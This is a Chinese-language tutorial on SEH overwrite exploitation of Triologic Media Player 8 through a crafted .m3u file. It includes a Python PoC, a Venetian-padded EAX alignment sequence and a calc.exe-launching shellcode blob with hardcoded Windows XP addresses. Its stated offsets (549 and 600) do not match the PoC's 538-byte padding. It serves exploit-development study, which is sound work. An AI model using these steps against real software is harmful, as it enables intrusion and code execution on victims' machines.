Coding art in shellcode(3)
字数 1172 2025-08-05 08:16:26
基于SEH的Shellcode编码与利用技术详解
1. SEH漏洞利用基础
1.1 SEH结构概述
异常处理机制(SEH, Structured Exception Handling)在Windows系统中包含两个关键结构:
- Pointer to next SEH record (nSEH):指向下一个异常处理链的指针
- Pointer to Exception Handler (SEH):指向异常处理函数的指针
1.2 利用流程
典型的SEH利用流程如下:
- 使用大量填充字符覆盖到SEH位置
- 通过模式字符串(pattern)定位精确偏移
- 构造利用结构:
- 将SEH覆盖为ROP地址(POP POP RET)
- 将nSEH设置为短跳转指令(如\xEB\x06)
- 跳转到shellcode执行位置
2. 实际漏洞利用案例
2.1 案例环境
使用Triologic Media Player 8作为演示目标,构造恶意.m3u文件进行利用。
2.2 偏移定位
- 使用Immunity Debugger挂载目标程序
- 生成5000字节的模式字符串
- 程序崩溃后使用mona插件分析:
!mona pattern_create 5000 !mona findmsp - 确定偏移量(本例中为549和600)
2.3 POC构造
基本POC模板:
#!/usr/bin/python
filename = "evil.m3u"
buffer = "A" * 538 + "BB" + "C" * 4462
textfile = open(filename, 'w')
textfile.write(buffer)
textfile.close()
3. Unicode编码挑战
3.1 Unicode编码问题
- EIP显示为Unicode编码形式(如00410041而非41414141)
- 需要寻找兼容Unicode的ROP指令
3.2 解决方案
- 使用mona查找Unicode兼容的ROP指令:
!mona seh -cp Unicode - 环境适配问题可能需要:
- 重启系统
- 更换操作系统版本(如英文版XP)
4. Shellcode执行控制
4.1 EAX寄存器控制
通过以下汇编指令序列使EAX指向shellcode:
\x55 ; 将EBP的值压入堆栈
\x71 ; Venetian Padding
\x58 ; 获取EBP的值并将其弹入EAX
\x71 ; Venetian Padding
\x05\x20\x11; add eax, 0x11002000
\x71 ; Venetian Padding
\x2d\x17\x11; sub eax, 0x11001700
\x71 ; Venetian Padding
\x50 ; 将EAX的新值压入堆栈(指向缓冲区)
\x71 ; Venetian Padding
\xC3 ; 重定向执行流到堆栈顶部的指针
4.2 Unicode兼容Shellcode
挑战:
- 内存中大于0x80的字节编码会出问题
- 需要特殊编码的shellcode
解决方案:
- 使用msf生成Unicode兼容payload
- 使用ALPHA3等编码工具
- 分段处理高字节数据
5. 实际Shellcode示例
以下是一个实际可用的shellcode示例(需注意Unicode编码问题):
shellcode = (
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x09\xC6\x45\xF3\x6B\xC6\x45\xF4\x65\xC6\x45\xF5\x72"
"\xC6\x45\xF6\x6E\xC6\x45\xF7"
"\x65\xC6\x45\xF8\x6C\xC6\x45"
"\xF9\x33\xC6\x45\xFA\x32\xC6"
"\x45\xFB\x2E\xC6\x45\xFC\x64"
"\xC6\x45\xFD\x6C\xC6\x45\xFE"
"\x6C\x8D\x45\xF3\x50\xB8\x7B"
"\x1D\x80\x7C\xFF\xD0\x8B\xE5"
"\x33\xC0\x50\x83\xEC\x08\xC6"
"\x45\xF4\x63\xC6\x45\xF5\x61"
"\xC6\x45\xF6\x6C\xC6\x45\xF7"
"\x63\xC6\x45\xF8\x2E\xC6\x45"
"\xF9\x65\xC6\x45\xFA\x78\xC6"
"\x45\xFB\x65\x8D\x45\xF4\x50"
"\xB8\xAD\x23\x86\x7C\xFF\xD0"
"\x8B\xE5\x5D"
)
6. 高级技巧与注意事项
- Venetian Padding:使用\x71等指令作为填充,确保指令对齐
- 内存操作:通过加减操作精细控制寄存器值
- 环境适配:不同系统版本可能需要调整偏移和指令
- 调试技巧:在关键地址设置断点(如00420042)
7. 总结
基于SEH的shellcode编码与利用是一项需要精细控制的技术,关键在于:
- 精确计算偏移量
- 构造可靠的ROP链
- 处理Unicode编码限制
- 确保shellcode在目标环境中可执行
虽然这项技术较为古老,但理解其原理对于现代漏洞利用技术的学习仍有重要价值。